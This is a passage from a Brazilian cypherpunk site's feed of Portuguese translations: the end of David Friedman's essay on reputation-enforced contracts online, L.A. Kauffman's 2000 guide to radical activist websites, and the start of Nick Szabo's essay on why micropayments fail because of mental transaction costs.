&lt;p>então um número indeterminado de vítimas vão escolher desconfiar. Porém como é só a proporção relativa de confiar e pesquisar que determina a diferença entre trapacear e não, isso não afeta o equilíbrio do valor de fc.&lt;/p>
&lt;p>Combinando as equações 2N, 2C nós temos a solução interior:&lt;/p>
&lt;ul>
&lt;li>&amp;lt;π&amp;gt;n= π(1 - fd) = &amp;lt;π&amp;gt;c πc fc&lt;/li>
&lt;li>π* (1-fp) = πc * ft&lt;/li>
&lt;li>Portanto ft = π(1-fp)/πc&lt;/li>
&lt;li>Dado que ft = π/πc and fs= 1 - π/πc a não ser que π= π*&lt;/li>
&lt;li>Agora temos a solução:&lt;/li>
&lt;li>fc* = -S/πv, ft*=π/πc, fs*=1-π/πc&lt;/li>
&lt;/ul>
&lt;p>Ela é estável?&lt;/p>
&lt;p>Se fc aumentar um pouco acima de fc*, o resultado de investigar aumenta, o de confiar diminui, então vítimas em potencial vão começar a deixar de confiar e passar a investigar. Isso diminui a recompensa de trapacear, jogando fc para baixo. Se ft aumentar um pouco acima de ft* (e fs diminuir de acordo) a recompensa por trapacear aumenta, trapaceadores em potencial começam a trapacear, isso diminui o resultado de confiar, jogando ft para baixo.&lt;/p>
&lt;p>Isto não é uma análise formal completa da dinâmica do modelo, é difícil ver como alguém falaria de dinâmica rigorosa de um modelo simples como o meu, onde quando uma empresa trapaceia a sua reputação acabou para sempre. Porém parece que o equilíbrio é estável , ou, se você preferir, seria estável em um modelo um pouco mais complexo no qual as firmas ocasionalmente sobem para serem trocadas por outras firmas, que são livres para escolher a reputação delas.&lt;/p>
&lt;p>A equação 3 mostra a fração de empresas que começam a trapacear conforma o custo de busca aumenta - de fato, ela é proporcional ao custo de busca em meu simples modelo - até chegarmos a S=-πv/2, no ponto que a solução de canto é fc=.5, seu valor máximo.&lt;/p>
&lt;p>Portanto, em meu simples modelo, minha afirmação que diminuir o custo de busca faz o fortalecimento por reputação funcionar melhor - menos empresas acham que é benéfico trapacear - é verdade.&lt;/p>
&lt;h3 id="notas-de-rodapé">Notas de rodapé:&lt;/h3>
&lt;ul>
&lt;li>Gostaria de agradecer a Bruce Benson por permitir-me ler um manuscrito seu, que faz essencialmente o mesmo argumento que este artigo de uma perspectiva um pouco diferente. Me senti livre para me valer de suas referências quando elas eram relevantes para o meu argumento, e incluí um número de artigos relevantes de Benson na lista de referências no final deste artigo.&lt;/li>
&lt;/ul>
&lt;ol>
&lt;li>Bernstein, Lisa, &amp;ldquo;Opting Out of the Legal System: Extralegal Contractual Relations in the Diamond Industry,&amp;rdquo; 21 JOURNAL OF LEGAL STUDIES, 1992, pp.115-157.&lt;/li>
&lt;li>Para uma discussão muito mais ampla sobre essas questões, ver Friedman (1996).&lt;/li>
&lt;li>Para uma discussão do porque as pessoas gostam de mais a privacidade, para os outros tanto quanto para si proprio, e da relação entre privacidade e tecnologia, ver Friedman (2000).&lt;/li>
&lt;li>Alguns leitores podem associar arbitragem principalmente a instituições para resolver disputas que são selecionadas somente após o surgimento da disputa. Neste artigo, meu principal interesse é em árbitros escolhidos antecipadamente - pelas partes quando assinam um contrato que pode levar a futuras disputas.&lt;/li>
&lt;li>O processo usado para assinaturas digitais no mundo real é um pouco mais elaborado do que isso, mas a diferença não é importante para os propósitos deste artigo. Uma assinatura digital é produzida usando uma função hash para gerar um resumo da mensagem - uma cadeia de números muito mais curta que a da qual é derivada - e depois criptografando o resumo da mensagem com a chave privada do remetente. O processo é muito mais rápido do que criptografar a mensagem inteira e quase tão seguro quanto. Isso também significa que é possível ler a mensagem sem se preocupar em verificar a assinatura.&lt;/li>
&lt;li>Estritamente falando, o que a terceira pessoa aprende é que o acusado não é confiável ou concordou em usar um árbitro desonesto ou incompetente. A última alternativa implica que, embora o acusado não seja desonesto, salvo no sentido muito limitado de se recusar a ficar preso por seu próprio erro, ele é incompetente.&lt;/li>
&lt;li>Como Bruce Benson apontou, esse desenvolvimento é estreitamente análogo ao desenvolvimento do Lex Mercantoria no início da Idade Média. Esse também era um sistema de lei privada fortalecido por penalidades de reputação, em um ambiente onde a lei estadual era inadequada para a execução de contratos, devido em parte à diversidade legal entre as jurisdições. Veja Benson (1998b, c)&lt;/li>
&lt;li>A primeira discussão sobre privacidade através do anonimato online, da qual tenho conhecimento, foi em uma obra de ficção de um professor de Ciência da Computação, a livreto de Verner Vinge &amp;ldquo;True Names&amp;rdquo;, incluída em True Names and Other Dangers. Uma boa descrição recente da combinação do anonimato com a reputação online ocorre no início da novela Earthweb de Marc Siegler.&lt;/li>
&lt;li>Earthweb contém uma ilustração divertida deste ponto. Um personagem central manteve duas personae on-line, uma para transações legais, com boa reputação e outra para transações quase legais, como compras de propriedade roubada, com uma reputação deliberadamente obscura. Em um ponto da trama, sua boa persona é a maior parte do caminho através de uma transação honesta e lucrativa quando lhe ocorre que seria ainda mais lucrativo se, tendo recebido o pagamento pelo seu trabalho, ele falhasse, no último minuto, entregar. Ele rejeita essa opção, alegando que ter uma pessoa com boa reputação acabou de lhe dar a oportunidade de uma transação lucrativa, e se ele destruir essa reputação, levará um bom tempo até que ele consiga outras oportunidades semelhantes.&lt;/li>
&lt;li>Ver, por exemplo, Nelson (1974), Williamson (1983), Klein e Leffler (1981).&lt;/li>
&lt;li>Para uma discussão de como tal moeda funcionaria, veja Friedman e Macintosh (a ser publicado).&lt;/li>
&lt;li>Uma solução para o problema é o uso de agentes de custódia por partes que compram bens valiosos no ebay.&lt;/li>
&lt;li>Uma firma que viola um contrato, mas paga uma indenização de acordo com os termos especificados no contrato, não trapaceou no sentido em que estou usando os termos. Para enganar, deve violar o contrato e não pagar quaisquer danos acordados previamente ou concedidos por um árbitro previamente acordado.&lt;/li>
&lt;/ol>
&lt;p>&amp;ndash;
Fonte: &lt;a href="http://www.daviddfriedman.com/Academic/contracts_in_%20cyberspace/contracts_in_cyberspace.htm" target="_blank" rel="noopener noreferrer">http://www.daviddfriedman.com/Academic/contracts_in_%20cyberspace/contracts_in_cyberspace.htm&lt;/a>
&lt;/p></content:encoded></item><item><title>Radicais na Web</title><link>https://cypherpunks.com.br/documentos/radicais-na-web/</link><pubDate>Sun, 02 Jan 2000 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/radicais-na-web/</guid><description>Os movimentos não nascem na Internet. O reino digital não pode fornecer a centelha misteriosa que transforma uma causa obscura em uma paixão generalizada, que motiva indivíduos dispersos a agirem coletivamente.</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Vinicius Yaunner
Revisado por: Matheus Bach
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h2 id="la-kauffman">L.A. Kauffman&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="#globaliza%c3%a7%c3%a3o-corporativa">GLOBALIZAÇÃO CORPORATIVA&lt;/a>
&lt;/li>
&lt;li>&lt;a href="#a%c3%a7%c3%a3o-direta">AÇÃO DIRETA&lt;/a>
&lt;/li>
&lt;li>&lt;a href="#anarquistas">ANARQUISTAS&lt;/a>
&lt;/li>
&lt;li>&lt;a href="#pol%c3%adcia-e-pris%c3%b5es">POLÍCIA E PRISÕES&lt;/a>
&lt;/li>
&lt;/ul>
&lt;p>&lt;/p>
&lt;p>Os movimentos não nascem na Internet. O reino digital não pode fornecer a centelha misteriosa que transforma uma causa obscura em uma paixão generalizada, que motiva indivíduos dispersos a agirem coletivamente.&lt;/p>
&lt;p>Mas, uma vez que as pessoas estão em movimento, a Internet é o sonho de um agitador: rápida, barata e de longo alcance. Movimentos populares de todos os tipos usam cada vez mais listas de discussão e grupos de discussão para coordenar seu trabalho. O e-mail está começando a acabar com a custosa tarefa de encher envelopes, há muito um grampo da vida ativista. E com o alcance planetário da World Wide Web, as redes ativistas estão se globalizando quase no mesmo ritmo da ordem corporativa a que se opõem.&lt;/p>
&lt;p>Para mídias radicais e alternativas, o potencial é enorme. Um exemplo notável: durante os protestos de Seattle na OMC e suas consequências, o Independent Media Center registrou impressionantes 2 milhões de acessos em seu site, que transmitia reportagens em primeira mão das ruas.&lt;/p>
&lt;p>No entanto, uma &amp;ldquo;divisão digital&amp;rdquo; no acesso a computadores e à Internet permanece entre quem tem e quem não tem, o que nos Estados Unidos geralmente significa brancos e negros. Essas disparidades são transportadas para a organização de base: mesmo um grupo tão grande e conhecedor da mídia como a Rede de Ação Nacional do Reverendo Al Sharpton ainda não está online.&lt;/p>
&lt;p>O que se segue é uma pequena amostra do que está lá fora, uma visita guiada a alguns dos melhores pontos de encontro radical na Web:&lt;/p>
&lt;h3 id="globalização-corporativa">GLOBALIZAÇÃO CORPORATIVA&lt;/h3>
&lt;p>O melhor lugar para se conectar com a luta contra a globalização corporativa é o site da A16. É o centro online da coalizão principal que está planejando os protestos inflamados de 16 de abril em Washington, DC, que terá como objetivo a reunião anual do Banco Mundial e do Fundo Monetário Internacional.&lt;/p>
&lt;p>Não deixe de ler o influente ensaio de Elizabeth Martinez sobre esse movimento em expansão, &amp;ldquo;Onde estava a cor em Seattle? Procurando razões pelas quais a grande batalha foi tão branca&amp;rdquo;&lt;/p>
&lt;p>Para estudar as questões da globalização em maior profundidade, verifique a excelente lista de leitura oferecida pela Livraria Modern Times de São Francisco. Ou assine a lista Stop-imf da Essential Action, que posta de 1 a 5 mensagens por dia sobre tópicos relacionados ao FMI, ajuste estrutural e dívida do Terceiro Mundo (escreva para &lt;a href="mailto:stop-imf-request@lists.essential.org">stop-imf-request@lists.essential.org&lt;/a>
com &amp;ldquo;subscribe&amp;rdquo; no corpo da mensagem).&lt;/p>
&lt;p>Finalmente, um guia de recursos abrangente sobre globalização corporativa pode ser encontrado no site da Global Exchange.&lt;/p>
&lt;h3 id="ação-direta">AÇÃO DIRETA&lt;/h3>
&lt;p>Nos próximos protestos do Banco Mundial / FMI A16, você pode esperar que as ruas se encham de música, arte, exuberância e bloqueios - assim como estavam em Seattle, até que a polícia começou a jogar gás na multidão.&lt;/p>
&lt;p>Esse estilo de protesto vigoroso deve muito ao Reclaim the Streets, um fenômeno mundial, pouco conhecido nos Estados Unidos, que nasceu há cinco anos da convergência do movimento anti-construção de estradas da Inglaterra com a cena rave underground.&lt;/p>
&lt;p>O RTS desempenhou um papel importante no ainda menos conhecido protesto J18, um divisor de águas ativista crucial. Este dia de ação anticapitalista em junho de 1999 em todo o mundo coincidiu com a cúpula da superpotência global do G8 na Alemanha e apontou o caminho para Seattle e além. Saiba mais no indispensável site do Mid-Atlantic Infoshop.&lt;/p>
&lt;p>Para as últimas notícias de ação direta radical - plantações geneticamente modificadas destruídas! pied capitalista pomposo! - escaneie as ofertas volumosas de DAMN, a Direct Action Media Network. E não perca o Earth First! Site do jornal, repleto de reportagens e ruminações de movimentos de ação direta em todo o mundo.&lt;/p>
&lt;h3 id="anarquistas">ANARQUISTAS&lt;/h3>
&lt;p>Alguém dê uma pista para a grande mídia: nem todos os anarquistas quebram janelas e usam máscaras pretas. Ao contrário, existem quase tantos anarquismos quanto anarquistas, e debates acalorados acontecem entre eles sobre táticas, estratégias e estilos políticos.&lt;/p>
&lt;p>As influências anarquistas permeiam muitos dos movimentos de base mais animados hoje. De longe, o melhor portal para este reino ativista é o extenso site Mid-Atlantic Infoshop. Ele apresenta atualizações diárias de notícias, textos e manifestos importantes, links extensos e um FAQ excelente que dissipa equívocos comuns sobre o anarquismo.&lt;/p>
&lt;p>Claro, alguns anarquistas fazer quebrar janelas, usam máscaras negras, e assim por diante. Leia o que eles têm a dizer no &amp;ldquo;N30 Black Bloc Communique&amp;rdquo;, escrito logo depois de Seattle. E verifique a chamada recentemente emitida por um &amp;ldquo;Bloco Revolucionário Anticapitalista&amp;rdquo; nos protestos da A16.&lt;/p>
&lt;p>Para ter uma noção do alcance internacional do anarquismo, leia atentamente o serviço de notícias multilíngue A-Infos.&lt;/p>
&lt;h3 id="polícia-e-prisões">POLÍCIA E PRISÕES&lt;/h3>
&lt;p>Novos movimentos de jovens estão se formando nos Estados Unidos em uma série de questões de justiça criminal: brutalidade policial, discriminação racial, pena de morte, expansão de prisões e privatização.&lt;/p>
&lt;p>Dos protestos contra as absolvições da polícia no assassinato de Amadou Diallo em Nova York às ações de desobediência civil em resposta à Iniciativa de Crime Juvenil da Califórnia, jovens ativistas trouxeram nova vida e criatividade para campanhas de longa data. O site Schools Not Jails detalha as ações violentas de adolescentes contra &amp;ldquo;o encarceramento de uma geração&amp;rdquo; na Califórnia.&lt;/p>
&lt;p>O hip hop foi fundamental para grande parte dessa organização. Um exemplo importante é o CD &amp;ldquo;No More Prisons&amp;rdquo; do Prison Moratorium Project, lançado no final de 1999. Para uma visão geral dos esforços relacionados, leia o ensaio matizado de Angela Ard, &amp;ldquo;Rhyme and Resist: Organizing the Hip-Hop Generation&amp;rdquo;.&lt;/p>
&lt;p>O Centro de Recursos de Ativistas da Prisão inclui estatísticas, materiais de apoio e links para grupos de ativistas. Finalmente, para obter materiais de base abrangentes sobre a &amp;ldquo;guerra contra a juventude&amp;rdquo;, verifique o guia de recursos disponível no site da revista ColorLines.&lt;/p>
&lt;hr>
&lt;p>Fonte:
&lt;a href="https://web.archive.org/web/20021017041431/http://www.free-radical.org/issue2.shtml" target="_blank" rel="noopener noreferrer">https://web.archive.org/web/20021017041431/http://www.free-radical.org/issue2.shtml&lt;/a>
&lt;a href="https://theanarchistlibrary-org.translate.goog/library/l-a-kauffman-radicals-on-the-web?_x_tr_sl=en&amp;amp;_x_tr_tl=pt&amp;amp;_x_tr_hl=pt-BR&amp;amp;_x_tr_pto=nui" target="_blank" rel="noopener noreferrer">https://theanarchistlibrary-org.translate.goog/library/l-a-kauffman-radicals-on-the-web?_x_tr_sl=en&amp;_x_tr_tl=pt&amp;_x_tr_hl=pt-BR&amp;_x_tr_pto=nui&lt;/a>
&lt;/p></content:encoded></item><item><title>Micropagamentos e custos de transação mentais</title><link>https://cypherpunks.com.br/documentos/micropagamentos-custos-transacao-mental/</link><pubDate>Sat, 01 May 1999 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/micropagamentos-custos-transacao-mental/</guid><description>Apresentamos argumentos intuitivos sobre o motivo pelo qual os micropagamentos não foram bem-sucedidos na Internet. O "fator de confusão" para os clientes associados a essas transações é caracterizado. Um quadro de custos de transação mental e granularidade de preço é então apresentado, e os argumentos sobre micropagamentos são …</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: jeffesonjp
Revisado por: Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h3 id="nick-szabo">Nick Szabo&lt;/h3>
&lt;h4 id="szabobestcom">&lt;a href="mailto:szabo@best.com">szabo@best.com&lt;/a>
&lt;/h4>
&lt;p>&lt;a href="http://www.best.com/~szabo/" target="_blank" rel="noopener noreferrer">http://www.best.com/~szabo/&lt;/a>
&lt;/p>
&lt;p>Apresentamos argumentos intuitivos sobre o motivo pelo qual os micropagamentos não foram bem-sucedidos na Internet. O &amp;ldquo;fator de confusão&amp;rdquo; para os clientes associados a essas transações é caracterizado. Um quadro de custos de transação mental e granularidade de preço é então apresentado, e os argumentos sobre micropagamentos são reformulados à sua luz. Finalmente, fazemos algumas sugestões para reduzir os custos mentais de transação do comércio na Internet.&lt;/p>
&lt;h2 id="1-introdução">1 Introdução&lt;/h2>
&lt;p>Alguns projetos de sistemas de pagamento pela Internet prometem reduzir drasticamente os custos de transação, para que possamos obter micropagamentos (por exemplo, [Be95], [GMAGS95], [RS96]). Outros projetos propõem formas mais sofisticadas de microtransação [MD88]. Até que ponto os custos de transação podem ser reduzidos dessas maneiras? Este artigo argumenta que os custos de transação mentais levantam barreiras fundamentais para a aceitação pelo cliente de pacotes e preços baixos. Exploraremos os problemas tanto informalmente quanto através de um exame mais detalhado de três fontes de gastos cognitivos dos clientes.&lt;/p>
&lt;p>Esses custos contábeis mentais, não os custos de pesquisa e desenvolvimento físicos ou computacionais ou amortizados de um método de pagamento ou de faturamento, estabelecem o principal limite inferior da granularidade de preço. A julgar pelas tendências de granularidade de preço, como a tendência de taxas nos serviços online, a granularidade dos preços online está muito acima dos níveis sugeridos de micropagamentos de alguns centavos ou mesmo de frações de um centavo. Os custos de contabilidade mental para um consumidor on-line típico parecem ser um pouco mais altos do que aqueles em áreas de comércio mais familiares.&lt;/p>
&lt;p>Os custos de transação mental do cliente vêm de pelo menos três fontes: caixa de itens incertos, observação incompleta e dispendiosa dos atributos do produto e tomada de decisão incompleta e dispendiosa.&lt;/p>
&lt;h3 id="11-custos-cognitivos-versus-custos-tecnológicos-de-transação">1.1 Custos Cognitivos versus Custos Tecnológicos de Transação&lt;/h3>
&lt;p>Para a economia do comércio eletrônico, é importante distinguir entre custos de transação tecnológicos e mentais. Quando os tecnólogos falam sobre custos de transação, eles geralmente falam sobre custos computacionais e de rede. Assim, a alegação de que as tecnologias de micropagamento, que reduzem drasticamente esses custos, reduzirão os &amp;ldquo;custos de transação&amp;rdquo;. O significado de tais reduções tecnológicas depende dos custos cognitivos associados já estarem muito baixos, uma vez que esses pagamentos não atendem aos custos cognitivos.&lt;/p>
&lt;p>Economistas (por exemplo, [B82], [W85], [H89]), por outro lado, geralmente, quando usam o termo &amp;ldquo;custos de transação&amp;rdquo;, referem-se implicitamente a custos cognitivos. Um dos objetivos deste artigo é tornar essas suposições explícitas. Às vezes, esses custos mentais de transação podem ser reduzidos com o auxílio da tecnologia: daí a afirmação de que ferramentas como os mecanismos de busca da Internet podem reduzir os custos de transação associados à comparação dos atributos de bens e serviços.&lt;/p>
&lt;p>Ao examinar os micropagamentos, este artigo assumirá que os custos tecnológicos do próprio sistema de pagamento são zero e examinará quais limites são definidos pelos custos de transação mental associados às transações de varejo visadas pelos micropagamentos. Exploraremos as possibilidades e as barreiras para automatizar e, assim, potencialmente reduzir enormemente, os processos mentais que impõem custos mentais de transação.&lt;/p>
&lt;p>Este artigo examina processos de decisão que ocorrem na mente do cliente e não em um computador, bem como os gargalos que são causados pela necessidade de comunicação entre um computador e esse processo mental. Além disso, discutimos algumas barreiras básicas relacionadas às compras automatizadas.&lt;/p>
&lt;p>Este artigo argumenta que os custos de transação mental do cliente são significativos e onipresentes, tanto que, em circunstâncias do mundo real, os custos cognitivos geralmente superam os custos tecnológicos e, de fato, os recursos tecnológicos são mais bem aplicados no objetivo de reduzir custos cognitivos. Além disso, os custos tecnológicos continuarão a cair enquanto os custos cognitivos permanecerem constantes e (mais discutivelmente) cairão mais rapidamente do que o custo tecnológico pode substituir os custos mentais descobrindo e automatizando os processos mentais relevantes. Os custos de transação mental do cliente logo irão dominar os custos de transação tecnológica do sistema de pagamento usado na transação (se não o fizerem), e os esforços de tecnologia de micropagamento que enfatizam a economia tecnológica em relação à economia cognitiva se tornarão irrelevantes. Este artigo sugere algumas maneiras de obter economias cognitivas.&lt;/p>
&lt;h3 id="12-estrutura-de-custos-do-fornecedor">1.2 Estrutura de Custos do Fornecedor&lt;/h3>
&lt;p>[BB97] e [FOS97] discutem o agrupamento e, portanto, a granularidade do preço, do ponto de vista dos fornecedores. Quando os custos marginais são pequenos em comparação com a amortização do custo fixo (por exemplo, um trabalho de conteúdo específico, muita infraestrutura de Internet, etc.) não faz sentido, em face da preferência do cliente pelo preço, cobrar os custos unitários para amortizar um investimento em tempo, exceto em alguns casos excepcionais, como nos casos em que o preço de congestionamento fornece maiores melhorias na qualidade do serviço.&lt;/p>
&lt;p>Este artigo fornece explicações para uma forte preferência do cliente pelo preço. Estes são tão significativos que sugerimos que os custos cognitivos do cliente superam os problemas de preço de congestionamento e estrutura de custos do fornecedor nos níveis de micropagamento em quase todos os mercados de varejo. Em contraste com o trabalho anterior, este documento enfoca os custos impostos aos clientes por meio de agrupamento e decisões de granularidade de preço.&lt;/p>
&lt;h2 id="2-argumentos-informais-contra-micropagamentos">2 Argumentos Informais Contra Micropagamentos&lt;/h2>
&lt;p>Considere uma característica bastante independente do sistema de pagamento específico: a declaração de encargos. Aqui reside uma troca entre completude e complexidade. Por um lado, apenas resumir as acusações cria a oportunidade para as &lt;em>&amp;lsquo;salami frauds&amp;rsquo;&lt;/em> (fraudes de salame), permitindo que micro custos largamente distribuídos, falsos ou exagerados, não sejam detectadas. Além disso, as partes que lêem apenas os resumos não recebem nenhum feedback pelo qual possam ajustar seu comportamento para minimizar os custos. Por outro lado, uma declaração muito complexa para os clientes lerem também permite que fraude, erro e uso ineficiente não sejam detectados, porque uma ou ambas as partes não podem entender a justificativa para as acusações em relação ao acordo presumido sobre termos de serviço e forma de pagamento. O mesmo tipo de raciocínio se aplica a processar essas coisas na cabeça, em vez de no papel, como geralmente é feito em pequenas transações em dinheiro. Um requisito básico para que os preços de mercado funcionem é que ambos os lados de uma transação possam mapear as cobranças ao valor obtido ou processado, para que possam ajustar seu comportamento de compra ou venda de acordo.&lt;/p>
&lt;p>Parece haver aqui um gargalo cognitivo fundamental. Uma solução proposta para isso tem sido &amp;ldquo;agentes inteligentes&amp;rdquo;. Mas como esses agentes são programados remotamente, não pelo consumidor, é difícil para o consumidor determinar se o agente está agindo de acordo com os melhores interesses dos consumidores, ou no melhor interesse da contraparte — talvez, necessariamente, pelo menos tão difícil quanto como ler a correspondente declaração completa de encargos. Além disso, a interface do usuário para permitir que os consumidores simplesmente expressem suas preferências sofisticadas a um agente está faltando e pode representar outro gargalo cognitivo fundamental.&lt;/p>
&lt;p>As empresas de comunicação descobriram que o faturamento é um grande gargalo. Segundo algumas estimativas, até 50% dos custos de uma chamada de longa distância são para faturamento, e isso é da ordem de US $ 100 bilhões por ano no mercado mundial [4]. Os provedores de Internet estão mudando para uma taxa a fim de minimizar esses custos, mesmo que isso crie um incentivo para o excesso de recursos da rede.&lt;/p>
&lt;p>Um sistema de micropagamentos pressupõe uma solução para o problema da contabilidade mental. Se alguém pudesse realmente resolver este problema, em vez de simplesmente alegar tê-lo resolvido por meios misteriosos (&amp;ldquo;agentes inteligentes&amp;rdquo;, etc.), a economia seria enorme mesmo em negócios existentes, como serviços de longa distância e Internet — sem mencionar todos os novos modelos de negócios possibilitados por menores custos de transação (por exemplo, [MD88]).&lt;/p>
&lt;h2 id="3-exemplo---contas-de-eletricidade">3 Exemplo - Contas de Eletricidade&lt;/h2>
&lt;p>Às vezes, as declarações contabilizam transações em incrementos gratuitos, como a resolução de 100 watts-hora em algumas contas de eletricidade. Há muitas coisas que a maioria das pessoas normalmente não faz em relação às contas de eletricidade, o que poderia melhorar o valor que elas recebem por seus pagamentos de eletricidade :&lt;/p>
&lt;ul>
&lt;li>Quais aparelhos estão usando mais eletricidade com menos benefícios pessoais (não disponível na conta de eletricidade — mas é possível conceber um programa de contabilidade pessoal ligado a aparelhos inteligentes que permitem fazer isso).&lt;/li>
&lt;li>Como equilibrar melhor o calor elétrico com o do gás (você poderia computar isso em detalhes e economizar alguns dólares, mas ganharia dinheiro extra mais rápido ao fazer um trabalho clandestino).&lt;/li>
&lt;li>Se a empresa de eletricidade fosse uma entidade menos confiável e amplamente conhecida, você também pode não confiar neles com o faturamento e recalculá-los para a resolução com a qual se sentia confortável, além de aceitar fraudes ou truques de letras miúdas abaixo desse nível. (Como a eletricidade é fungível e o conjunto de regras de precificação pequeno, você poderia ter um programa para verificar a conta, o que é eficiente se conseguir informações suficientes para pessoas suficientes recuperarem os custos de desenvolvimento de software e marketing).&lt;/li>
&lt;/ul>
&lt;p>A razão pela qual não fazemos essas coisas é que elas não valem os ciclos cerebrais: chegamos a uma barreira contábil mental.&lt;/p>
&lt;h2 id="4-granularidade-de-preço">4 Granularidade de Preço&lt;/h2>
&lt;p>Podemos caracterizar quatro maneiras de definir preços:&lt;/p>
&lt;ol>
&lt;li>preço negociado&lt;/li>
&lt;li>preços de congestionamento (variável, mas preço postado/pequena unidade de valor)&lt;/li>
&lt;li>fungível (uma unidade de preço/valor pequeno)&lt;/li>
&lt;li>a taxa (um preço/unidade de grande valor)&lt;/li>
&lt;/ol>
&lt;p>Cada um desses níveis impõe sucessivamente menos custos de transação mental ao cliente do que o nível anterior.&lt;/p>
&lt;p>A confusão é um bom exemplo do papel substancial que os custos de transação mental desempenham nas economias. Ocorre historicamente e em todas as sociedades um grande declínio da negociação no varejo, à medida que as sociedades se tornam mais ricas. Os preços de varejo se tornam uma fração total menor da riqueza do cliente. Por razões semelhantes, que são o assunto deste artigo, os próprios preços podem se tornar irrelevantes em frações suficientemente pequenas da riqueza do cliente.&lt;/p>
&lt;h3 id="41-atributos-e-preferências">4.1 Atributos e Preferências&lt;/h3>
&lt;p>O que significa quando um economista diz que uma pessoa &amp;ldquo;prefere&amp;rdquo; um bom X a um bom Y? Muitas vezes os economistas apenas medem isso em quanto a pessoa está disposta a pagar por X versus quanto por Y. Chamamos isso de &amp;ldquo;o fornecedor observou uma preferência explícita&amp;rdquo;.&lt;/p>
&lt;p>Barzel [B82] dá o exemplo de uma maçã: o cliente prefere uma maçã que tenha um gosto bom. O cliente não pode descrever adequadamente esse gosto para outra pessoa ou para o software [P58]. Além disso, esse atributo não pode ser observado durante as compras. Isso nós chamamos de &lt;em>preferência tácita&lt;/em>. Em vez disso, o cliente usa um atributo observável, por ex. a cor, como um atributo representante. Chamamos isso de &lt;em>um cliente que observou uma preferência explícita&lt;/em>. Os fornecedores muitas vezes também podem observar esses atributos mapeados para o comportamento do cliente e, assim, a preferência explícita (revelada) correspondente.&lt;/p>
&lt;p>As diferenças entre esses tipos de preferências são geralmente de pouca importância. No entanto, elas se tornam importantes se, por exemplo, desejamos que o usuário escolha entre as mercadorias ou delegue essa tarefa a um agente de software comunicando suas preferências a esse software.&lt;/p>
&lt;p>Este modelo de preferências será desenvolvido nas próximas seções.&lt;/p>
&lt;h3 id="42-a-função-dos-preços">4.2 A Função dos Preços&lt;/h3>
&lt;p>Nossa conta de granularidade de preço é baseada em uma visão subjetivista [M35], [H45] dos preços. A função dos preços, do ponto de vista de um cliente, é deixar o comprador mapear seus recursos pessoais (orçamento) para suas preferências tácitas (únicas e não observáveis diretamente). Isso requer um esforço cognitivo significativo, que define os limites inferiores mais básicos dos custos de transação. Por exemplo, comparar o valor pessoal de um conjunto grande e diversificado de bens de baixo preço pode exigir um gasto mental maior do que os preços desses bens (onde os gastos mentais podem ser mensuráveis como os custos de oportunidade de não se envolver em trabalho mental por salários, ou de não comprar um número menor de bens comparáveis com menores custos contábeis mentais). Nesse caso, faz sentido juntar as mercadorias em pacotes com um preço mais alto e uma sinergia inicial, até que os custos de contabilidade mental dos compradores sejam suficientemente baixos.&lt;/p>
&lt;h3 id="43-fungibilidade">4.3 Fungibilidade&lt;/h3>
&lt;p>Outra correção é possível para mercadorias fungíveis: cobrar um preço fixo por unidade, que o comprador pode avaliar apenas a partir do número acumulado de unidades e informações de preços. Como exemplo concreto, em uma recente campanha publicitária americana, a AT&amp;amp;T está apostando que sua taxa de US $ 0,15 é mais atraente do que a de US $ 0,10 — que conhece a taxa variável — que vale a pena o fornecedor renunciar aos preços de congestionamento e que o comprador perde descontos vastos , a fim de ter uma taxa previsível, transformando o tempo do telefone em uma mercadoria fungível e, assim, economizando nos custos contábeis mentais.&lt;/p>
&lt;p>Infelizmente, a maior parte do comércio pela Internet não é fungível: conteúdo, serviços, encomenda de produtos por correspondência e assim por diante. Alguns serviços do Provedor de Servidor de Internet (ISP) podem ser vendidos como fungíveis (por exemplo, espaço em disco, tempo de conexão) apenas à custa de preceder o congestionamento e outros métodos de precificação que, se não fossem custos contábeis mentais, poderiam ser bastante eficientes. Além disso, mesmo para mercadorias fungíveis, cada usuário tem uma curva única de retornos decrescentes.&lt;/p>
&lt;p>O software teria que deixar o comprador determinar e inserir sua curva de preferência de volume (de alguma maneira intuitivamente familiar, sem pressupor que o comprador está familiarizado com a teoria econômica) antes que ela pudesse agir adequadamente em seus interesses; sem mencionar as complicações das preferências temporais, interações não-lineares entre mercadorias fungíveis quando isoladas e assim por diante.&lt;/p>
&lt;p>Essa solução de interface de usuário para o caso de mercadorias fungíveis sugere uma estratégia melhor para lidar com o problema mais geral da contabilidade mental no comércio online: desenvolver melhores maneiras para o comprador comunicar suas preferências pessoais ao software. Os profissionais de marketing há muito criaram esquemas para obter esse tipo de informação: pesquisas detalhadas, rastreamento do comportamento e das respostas do usuário, etc. Provavelmente, os serviços Web, como o &lt;a href="https://www.firefly.com" target="_blank" rel="noopener noreferrer">www.firefly.com&lt;/a>
, são os mais utilizados nesse quesito. Firefly cria uma espécie de &amp;ldquo;espaço subjetivo&amp;rdquo; de preferências musicais em que o comprador pode navegar e encontrar novas músicas que elas têm maior probabilidade de preferir.&lt;/p>
&lt;p>Assumindo que o software possa representar certas preferências, é um problema mais direto para o software mapear essas representações para preços específicos (ou ofertas), participar de compras (ou discussões) e concluir com segurança transações online. Esses problemas mais fáceis têm sido o foco da pesquisa de micropagamentos, mas o problema mais fundamental de obter e representar preferências em grande parte não foi amplamente reconhecido, talvez devido a um viés objetivista que postula as leis matemáticas em vez de preferências subjetivas como a base de uma economia de trabalho, e devido às dificuldades básicas em descobrir e especificar preferências normalmente tácitas.&lt;/p>
